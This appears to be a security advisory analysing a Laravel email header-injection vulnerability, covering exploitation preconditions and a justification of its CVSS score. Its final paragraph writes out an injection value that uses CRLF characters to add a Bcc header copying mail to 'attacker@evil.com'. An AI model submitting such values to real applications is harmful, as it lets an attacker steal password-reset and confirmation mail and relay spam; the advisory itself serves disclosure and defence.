Laravel Framework CVE-2026-48019

Exploitation requires that the target Laravel application (1) accepts an email address as input from an unauthenticated user, and (2) uses that address as a recipient, sender, CC, or BCC parameter in a subsequent mail dispatch - for example, sending a registration confirmation, password-reset link, or contact-form acknowledgment to the address the user provided. Applications that validate email addresses through independent sanitization (e.g., stripping control characters before framework processing) or that never pass user input directly to mail functions are not vulnerable. The attack does not require any account or session; it is fully unauthenticated. CVSS AC:H reflects that not all Laravel applications exhibit the required send-to-user-address pattern. Exploitation is limited to the SMTP/mail layer and does not provide direct operating system access or arbitrary code execution on the Laravel host.

The vendor-assigned CVSS 8.9 (AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L) is defensible and internally consistent. AC:H is appropriate because exploitation requires the specific application pattern of sending mail to user-controlled addresses - not all Laravel applications do this, limiting population exposure. S:C reflects that the vulnerability's primary impact escapes the vulnerable Laravel process itself and lands in the mail transport/infrastructure layer. C:H and I:H are plausible given that a successful attack can redirect sensitive emails to attacker-controlled addresses (confidentiality) and forge or inject header content (integrity). A:L is modest and reflects potential disruption to mail flow rather than the primary system. No EPSS score was included in the provided data. No KEV listing exists, and no public proof-of-concept exploit code has been identified; real-world risk is real but currently limited to organizations actively running vulnerable Laravel versions with user-facing mail flows and no independent input sanitization.

An attacker submits a registration or contact form supplying the email address legitimate@example.com\r\nBcc: attacker@evil.com (URL-encoded appropriately). Laravel's pre-patch validator accepts the string as a syntactically valid email; when the application dispatches a welcome or confirmation message, the Symfony Mailer layer serializes the address into the SMTP DATA section, causing the injected Bcc: header to silently copy the outgoing message to the attacker's address. The same technique can be used to inject arbitrary headers such as Content-Type or to replay the application's mail server as a relay for spam campaigns.